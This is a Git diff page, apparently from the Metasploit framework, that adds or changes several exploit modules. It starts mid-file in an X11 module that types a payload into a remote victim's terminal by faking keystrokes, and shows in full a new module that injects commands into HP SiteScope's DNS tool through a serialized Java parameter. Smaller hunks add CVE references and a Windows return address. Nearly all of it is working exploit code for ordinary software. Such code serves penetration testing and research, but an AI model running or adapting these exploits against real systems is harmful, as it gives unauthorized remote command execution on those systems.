# Send an enter
|
||||||
|
press_key("\x24") # [enter]
|
||||||
|
release_key("\x24") # [enter]
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_msg(sock, data)
|
||||||
|
sock.put(data)
|
||||||
|
data = ""
|
||||||
|
begin
|
||||||
|
read_data = sock.get_once(-1, 1)
|
||||||
|
while not read_data.nil?
|
||||||
|
data << read_data
|
||||||
|
read_data = sock.get_once(-1, 1)
|
||||||
|
end
|
||||||
|
rescue EOFError
|
||||||
|
end
|
||||||
|
data
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
|
||||||
|
begin
|
||||||
|
connect
|
||||||
|
|
||||||
|
print_status("#{rhost}:#{rport} - Register keyboard")
|
||||||
|
|
||||||
|
req = "\x6c" # Byte order (Little-Endian)
|
||||||
|
req << "\x00" # Unused
|
||||||
|
req << "\x0b\x00" # Protocol major version: 11
|
||||||
|
req << "\x00\x00" # Protocol minor version: 0
|
||||||
|
req << "\x00\x00" # Authorization protocol name length: 0
|
||||||
|
req << "\x00\x00" # Authorization protocol data length: 0
|
||||||
|
req << "\x00\x00" # Unused
|
||||||
|
|
||||||
|
# Retrieve the whole X11 details response
|
||||||
|
res = send_msg(sock,req)
|
||||||
|
|
||||||
|
# Response should give 0x01 in first byte (Success)
|
||||||
|
unless res && res[0,1] == "\x01"
|
||||||
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 initial communication failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Keyboard registration
|
||||||
|
req = "\x62" # Opcode 98: QueryExtension
|
||||||
|
req << "\x00" # Unused
|
||||||
|
req << "\x05\x00" # Request length: 5
|
||||||
|
req << "\x09\x00" # Name length: 9
|
||||||
|
req << "\x60\x03" # Unused?
|
||||||
|
req << "XKEYBOARD" # Name
|
||||||
|
req << "\x00\x00\x00" # Unused, padding?
|
||||||
|
|
||||||
|
# Retrieve the whole X11 details response
|
||||||
|
res = send_msg(sock,req)
|
||||||
|
|
||||||
|
# Response should give 0x01 in first byte (Success)
|
||||||
|
if res && res[0,1] == "\x01"
|
||||||
|
@xkeyboard_opcode = res[9,1] # Retrieve the XKEYBOARD opcode
|
||||||
|
else
|
||||||
|
#puts res.inspect
|
||||||
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XKEYBOARD failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
req = ""
|
||||||
|
req << @xkeyboard_opcode
|
||||||
|
req << "\x00" # Extension minor: 0 (UseExtension)
|
||||||
|
req << "\x02\x00" # Request length: 2
|
||||||
|
req << "\x01\x00" # Wanted Major: 1
|
||||||
|
req << "\x00\x00" # Wanted Minor: 0
|
||||||
|
|
||||||
|
# Retrieve the whole X11 details response
|
||||||
|
res = send_msg(sock,req)
|
||||||
|
|
||||||
|
unless res && res[0,1] == "\x01"
|
||||||
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD (opcode 136) failed -")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
req = "\x62" # Opcode 98: QueryExtension
|
||||||
|
req << "\x00" # Unused
|
||||||
|
req << "\x06\x00" # Request length: 6
|
||||||
|
req << "\x0f\x00" # Name length: 15
|
||||||
|
req << "\x00\x00" # Unused
|
||||||
|
req << "XInputExtension" # Name
|
||||||
|
req << "\x00" # Unused, padding?
|
||||||
|
|
||||||
|
# Retrieve the whole X11 details response
|
||||||
|
res = send_msg(sock,req)
|
||||||
|
|
||||||
|
# Response should give 0x01 in first byte (Success)
|
||||||
|
unless res && res[0,1] == "\x01"
|
||||||
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XInputExtension failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
req = "\x62" # Opcode 98: QueryExtension
|
||||||
|
req << "\x00" # Unused
|
||||||
|
req << "\x04\x00" # Request length: 4
|
||||||
|
req << "\x05\x00" # Name length: 5
|
||||||
|
req << "\x00\x00" # Unused
|
||||||
|
req << "XTEST" # Name
|
||||||
|
req << "\x00\x00\x00" # Unused, padding?
|
||||||
|
|
||||||
|
# Retrieve the whole X11 details response
|
||||||
|
res = send_msg(sock,req)
|
||||||
|
|
||||||
|
# Response should give 0x01 in first byte (Success)
|
||||||
|
if res && res[0,1] == "\x01"
|
||||||
|
@xtest_opcode = res[9,1] # Retrieve the XTEST opcode
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) XTEST failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
req = "\x62" # Opcode 98: QueryExtension
|
||||||
|
req << "\x00" # Unused
|
||||||
|
req << "\x08\x00" # Request length
|
||||||
|
req << "\x17\x00" # Name length
|
||||||
|
req << "\x00\x00" # Unused
|
||||||
|
req << "Generic Event Extension" # Name
|
||||||
|
req << "\x00" # Unused, padding?
|
||||||
|
|
||||||
|
# Retrieve the whole X11 details response
|
||||||
|
res = send_msg(sock,req)
|
||||||
|
|
||||||
|
# Response should give 0x01 in first byte (Success)
|
||||||
|
if res && res[0,1] == "\x01"
|
||||||
|
@genericevent_opcode = res[9,1] # Retrieve the Generic Event Extension opcode
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request QueryExtension (opcode 98) Generic Event Extension failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
req = ""
|
||||||
|
req << @genericevent_opcode
|
||||||
|
req << "\x00" # Extension minor: 0 (QueryVersion)
|
||||||
|
req << "\x02\x00" # Request length: 2
|
||||||
|
req << "\x01\x00" # Client major version: 1
|
||||||
|
req << "\x00\x00" # Client minor version: 0
|
||||||
|
|
||||||
|
# Retrieve the whole X11 details response
|
||||||
|
res = send_msg(sock,req)
|
||||||
|
|
||||||
|
# Response should give 0x01 in first byte (Success)
|
||||||
|
unless res && res[0,1] == "\x01"
|
||||||
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
req = ""
|
||||||
|
req << @xtest_opcode
|
||||||
|
req << "\x00" # Extension minor: 0 (GetVersion)
|
||||||
|
req << "\x02\x00" # Request length: 2
|
||||||
|
req << "\x02\x00" # Major version: 2
|
||||||
|
req << "\x02\x00" # Minor version: 2
|
||||||
|
|
||||||
|
# Retrieve the whole X11 details response
|
||||||
|
res = send_msg(sock,req)
|
||||||
|
|
||||||
|
# Response should give 0x01 in first byte (Success)
|
||||||
|
unless res && res[0,1] == "\x01"
|
||||||
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XTEST failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
req = "\x65" # Opcode 101: GetKeyboardMapping
|
||||||
|
req << "\x00" # Unused
|
||||||
|
req << "\x02\x00" # Request length: 2
|
||||||
|
req << "\x08" # First keycode: 8
|
||||||
|
req << "\xf8" # Count: 248
|
||||||
|
req << "\x02\x00" # Unused?
|
||||||
|
|
||||||
|
# Retrieve the whole X11 details response
|
||||||
|
res = send_msg(sock,req)
|
||||||
|
|
||||||
|
# Response should give 0x01 in first byte (Success)
|
||||||
|
unless res && res[0,1] == "\x01"
|
||||||
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request GetKeyboardMapping (opcode 101) failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
req = ""
|
||||||
|
req << @xkeyboard_opcode
|
||||||
|
req << "\x08" # Extension minor: 8 (GetMap)
|
||||||
|
req << "\x07\x00" # Request length: 7
|
||||||
|
req << "\x00\x01" # Device spec: 0x0100 (256)
|
||||||
|
req << "\x07\x00" # Full: 7
|
||||||
|
req << "\x00\x00" # Partial: 0
|
||||||
|
req << "\x00" # firsType: 0
|
||||||
|
req << "\x00" # nTypes: 0
|
||||||
|
req << "\x00" # firstKeySym: 0
|
||||||
|
req << "\x00" # nKeySym: 0
|
||||||
|
req << "\x00" # firstKeyAction: 0
|
||||||
|
req << "\x00" # nKeysActions: 0
|
||||||
|
req << "\x00" # firstKeyBehavior: 0
|
||||||
|
req << "\x00" # nKeysBehavior: 0
|
||||||
|
req << "\x00\x00" # virtualMods: 0
|
||||||
|
req << "\x00" # firstKeyExplicit: 0
|
||||||
|
req << "\x00" # nKeyExplicit: 0
|
||||||
|
req << "\x00" # firstModMapKey: 0
|
||||||
|
req << "\x00" # nModMapKeys: 0
|
||||||
|
req << "\x00" # firstVModMapKey: 0
|
||||||
|
req << "\x00" # nVModMapKeys: 0
|
||||||
|
req << "\x00\x00" # Unused, padding?
|
||||||
|
|
||||||
|
# Retrieve the whole X11 details response
|
||||||
|
res = send_msg(sock,req)
|
||||||
|
|
||||||
|
# Response should give 0x01 in first byte (Success)
|
||||||
|
unless res && res[0,1] == "\x01"
|
||||||
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - X11 Request XKEYBOARD failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
# Press ALT+F2 to start up "Run application"
|
||||||
|
print_status("#{rhost}:#{rport} - Opening \"Run Application\"")
|
||||||
|
press_key(KB_KEYS["alt"])
|
||||||
|
press_key(KB_KEYS["f2"])
|
||||||
|
release_key(KB_KEYS["alt"])
|
||||||
|
release_key(KB_KEYS["f2"])
|
||||||
|
|
||||||
|
# Wait X seconds to open the dialog
|
||||||
|
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
|
||||||
|
Rex.sleep(datastore['TIME_WAIT'])
|
||||||
|
|
||||||
|
if datastore['TARGET'] == 0
|
||||||
|
# Start a xterm terminal
|
||||||
|
print_status("#{rhost}:#{rport} - Opening xterm")
|
||||||
|
type_command("xterm")
|
||||||
|
else
|
||||||
|
# Start a Gnome terminal
|
||||||
|
print_status("#{rhost}:#{rport} - Opening gnome-terminal")
|
||||||
|
type_command("gnome-terminal")
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("#{rhost}:#{rport} - Waiting #{datastore['TIME_WAIT']} seconds...")
|
||||||
|
# Wait X seconds to open the terminal
|
||||||
|
Rex.sleep(datastore['TIME_WAIT'])
|
||||||
|
|
||||||
|
# "Type" our payload and execute it
|
||||||
|
print_status("#{rhost}:#{rport} - Typing and executing payload")
|
||||||
|
command = "nohup #{payload.encoded} &2>/dev/null; sleep 1; exit"
|
||||||
|
|
||||||
|
type_command(command)
|
||||||
|
|
||||||
|
handler
|
||||||
|
rescue ::Timeout::Error, Rex::ConnectionError, Rex::ConnectionRefused, Rex::HostUnreachable, Rex::ConnectionTimeout => e
|
||||||
|
print_error("#{rhost}:#{rport} - #{e.message}")
|
||||||
|
ensure
|
||||||
|
disconnect
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,196 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
require 'msf/core/exploit/powershell'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = GoodRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::Powershell
|
||||||
|
|
||||||
|
def initialize(info={})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'HP SiteScope DNS Tool Command Injection',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a command injection vulnerability
|
||||||
|
discovered in HP SiteScope 11.30 and earlier versions (tested in 11.26
|
||||||
|
and 11.30). The vulnerability exists in the DNS Tool allowing an
|
||||||
|
attacker to execute arbitrary commands in the context of the service. By
|
||||||
|
default, HP SiteScope installs and runs as SYSTEM in Windows and does
|
||||||
|
not require authentication. This vulnerability only exists on the
|
||||||
|
Windows version. The Linux version is unaffected.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Kirk Hayes', # @kirkphayes / Vulnerability Discovery and MSF module author
|
||||||
|
'Charles Riggs', # c0v3rt_chann3l / Vulnerability Discovery
|
||||||
|
'Juan Vazquez' # help with MSF module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/10/09/r7-2015-17-hp-sitescope-dns-tool-command-injection'],
|
||||||
|
['URL', 'http://www8.hp.com/us/en/software-solutions/sitescope-application-monitoring/index.html'] # vendor site
|
||||||
|
],
|
||||||
|
'Platform' => 'win',
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'HP SiteScope 11.30 / Microsoft Windows 7 and higher',
|
||||||
|
{
|
||||||
|
'Arch' => [ARCH_X86_64, ARCH_X86]
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'HP SiteScope 11.30 / CMD',
|
||||||
|
{
|
||||||
|
'Arch' => [ARCH_CMD]
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'Privileged' => false,
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'DisclosureDate' => 'Oct 9 2015'))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8080),
|
||||||
|
OptString.new('SITE_SCOPE_USER', [false, 'Username for authentication', '']),
|
||||||
|
OptString.new('SITE_SCOPE_PASSWORD', [false, 'Password for authentication', '']),
|
||||||
|
OptString.new('TARGETURI', [true, 'Path to SiteScope', '/SiteScope/'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
initial_session = get_initial_session_id
|
||||||
|
redirect = authenticate(initial_session)
|
||||||
|
session = get_authenticated_session_id(initial_session, redirect)
|
||||||
|
csrf_token = get_csrf_token(session)
|
||||||
|
|
||||||
|
print_status("#{peer} - Executing payload")
|
||||||
|
random_mark = Rex::Text.rand_text_alpha(5 + rand(5))
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s, 'remoteProxy'),
|
||||||
|
'method' => 'POST',
|
||||||
|
'vars_get' => {
|
||||||
|
'OWASP_CSRFTOKEN' => csrf_token
|
||||||
|
},
|
||||||
|
'cookie' => session,
|
||||||
|
'ctype' => 'application/octet- serializable object',
|
||||||
|
'data' => build_stream(random_mark)
|
||||||
|
}, 5)
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.body
|
||||||
|
res_io = StringIO.new(res.body.to_s)
|
||||||
|
res_stream = Rex::Java::Serialization::Model::Stream.decode(res_io)
|
||||||
|
return if res_stream.nil?
|
||||||
|
show = false
|
||||||
|
res_stream.references.each do |ref|
|
||||||
|
if ref.class == Rex::Java::Serialization::Model::Utf && show
|
||||||
|
print_good(ref.contents)
|
||||||
|
next
|
||||||
|
elsif ref.class == Rex::Java::Serialization::Model::Utf && ref.contents.include?(random_mark)
|
||||||
|
show = true
|
||||||
|
next
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_initial_session_id
|
||||||
|
print_status("#{peer} - Retrieving an initial JSESSIONID...")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s, 'servlet', 'Main'),
|
||||||
|
'method' => 'POST'
|
||||||
|
)
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.get_cookies.include?('JSESSIONID')
|
||||||
|
session_id = res.get_cookies
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Retrieve of initial JSESSIONID failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
session_id
|
||||||
|
end
|
||||||
|
|
||||||
|
def authenticate(session_id)
|
||||||
|
print_status("#{peer} - Authenticating on HP SiteScope Configuration...")
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s, 'j_security_check'),
|
||||||
|
'method' => 'POST',
|
||||||
|
'cookie' => session_id,
|
||||||
|
'vars_post' => {
|
||||||
|
'j_username' => datastore['SITE_SCOPE_USER'],
|
||||||
|
'j_password' => datastore['SITE_SCOPE_PASSWORD']
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 302
|
||||||
|
redirect = URI(res.headers['Location']).path
|
||||||
|
else
|
||||||
|
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
redirect
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_authenticated_session_id(session_id, redirect)
|
||||||
|
print_status("#{peer} - Following redirection to finish authentication...")
|
||||||
|
|
||||||
|
res = send_request_cgi(
|
||||||
|
{
|
||||||
|
'uri' => redirect,
|
||||||
|
'method' => 'GET',
|
||||||
|
'cookie' => session_id
|
||||||
|
})
|
||||||
|
|
||||||
|
if res && res.code == 200 && res.get_cookies.include?('JSESSIONID')
|
||||||
|
auth_session = res.get_cookies
|
||||||
|
else
|
||||||
|
fail_with(Failure::NoAccess, "#{peer} - Authentication on SiteScope failed")
|
||||||
|
end
|
||||||
|
|
||||||
|
auth_session
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_csrf_token(session)
|
||||||
|
print_status("#{peer} - Getting anti-CSRF token...")
|
||||||
|
res = send_request_cgi(
|
||||||
|
'uri' => normalize_uri(target_uri.path.to_s, 'jsp', 'tabs.jsp'),
|
||||||
|
'cookie' => session
|
||||||
|
)
|
||||||
|
|
||||||
|
if res && res.code == 302 && res.headers['Location'] =~ /OWASP_CSRFTOKEN=([A-Z0-9\-]+)/
|
||||||
|
csrf_token = $1
|
||||||
|
else
|
||||||
|
fail_with(Failure::Unknown, "#{peer} - Failed to get anti-CSRF token")
|
||||||
|
end
|
||||||
|
|
||||||
|
csrf_token
|
||||||
|
end
|
||||||
|
|
||||||
|
def build_stream(random_mark)
|
||||||
|
site = "google.com & echo #{random_mark} & "
|
||||||
|
if target.arch.include?('cmd')
|
||||||
|
command = payload.encoded
|
||||||
|
else
|
||||||
|
command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
|
||||||
|
end
|
||||||
|
|
||||||
|
file = File.join( Msf::Config.data_directory, 'exploits', 'CVE-pending', 'stream.raw')
|
||||||
|
|
||||||
|
f = File.new(file, 'rb')
|
||||||
|
stream = Rex::Java::Serialization::Model::Stream.decode(f)
|
||||||
|
f.close
|
||||||
|
|
||||||
|
dns_param = stream.references[0x44]
|
||||||
|
dns_param.contents = site + command
|
||||||
|
dns_param.length = dns_param.contents.length
|
||||||
|
|
||||||
|
stream.encode
|
||||||
|
end
|
||||||
|
end
|
|
@ -31,6 +31,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
[ 'EDB', '38174' ],
|
[ 'EDB', '38174' ],
|
||||||
|
[ 'CVE', '2015-7765' ], # Hardcoded password
|
||||||
|
[ 'CVE', '2015-7766' ], # SQL query bypass
|
||||||
|
[ 'URL', 'http://seclists.org/fulldisclosure/2015/Sep/66' ],
|
||||||
|
[ 'URL', 'https://support.zoho.com/portal/manageengine/helpcenter/articles/pgsql-submitquery-do-vulnerability' ]
|
||||||
],
|
],
|
||||||
'Platform' => ['java'],
|
'Platform' => ['java'],
|
||||||
'Arch' => ARCH_JAVA,
|
'Arch' => ARCH_JAVA,
|
||||||
|
|
|
@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
['Windows XP SP2 German', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
|
['Windows XP SP2 German', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
|
||||||
['Windows XP SP2 Polish', { 'Rets' => [ 1787, 0x77d4e26e ]}], # jmp esp
|
['Windows XP SP2 Polish', { 'Rets' => [ 1787, 0x77d4e26e ]}], # jmp esp
|
||||||
['Windows XP SP2 French', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
|
['Windows XP SP2 French', { 'Rets' => [ 1787, 0x77d5af0a ]}], # jmp esp
|
||||||
|
['Windows XP SP3 French', { 'Rets' => [ 1787, 0x7e3a9353 ]}], # jmp esp
|
||||||
],
|
],
|
||||||
'DefaultOptions' =>
|
'DefaultOptions' =>
|
||||||
{
|
{
|
||||||
|
|
|
@ -81,6 +81,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
remove_resource(get_resource)
|
remove_resource(get_resource)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def autofilter
|
||||||
|
true
|
||||||
|
end
|
||||||
|
|
||||||
def primer
|
def primer
|
||||||
file_name = rand_text_alpha(rand(10)+5)
|
file_name = rand_text_alpha(rand(10)+5)
|
||||||
file_ext = '.vbs'
|
file_ext = '.vbs'
|
||||||
|
|
|
@ -31,7 +31,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
],
|
],
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
['EDB', '38173']
|
['EDB', '38173'],
|
||||||
|
['CVE', '2015-7387'],
|
||||||
|
['URL', 'http://seclists.org/fulldisclosure/2015/Sep/59']
|
||||||
],
|
],
|
||||||
'Platform' => ['win'],
|
'Platform' => ['win'],
|
||||||
'Arch' => ARCH_X86,
|
'Arch' => ARCH_X86,
|
||||||
|
|
|
@ -42,6 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
|
'Scott Sutherland "nullbind" <scott.sutherland[at]netspi.com>'
|
||||||
],
|
],
|
||||||
'Platform' => [ 'win' ],
|
'Platform' => [ 'win' ],
|
||||||
|
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'References' =>
|
'References' =>
|
||||||
[
|
[
|
||||||
|
|
|
@ -54,6 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
[ 'BID', '4797' ]
|
[ 'BID', '4797' ]
|
||||||
],
|
],
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||||
'Targets' =>
|
'Targets' =>
|
||||||
[
|
[
|
||||||
[ 'Automatic', { } ],
|
[ 'Automatic', { } ],
|
||||||
|
|
|
@ -75,6 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
|
||||||
],
|
],
|
||||||
'Platform' => 'win',
|
'Platform' => 'win',
|
||||||
|
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
||||||
'Payload' =>
|
'Payload' =>
|
||||||
{
|
{
|
||||||
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c&=+?:;-,/#.\\\$\%",
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue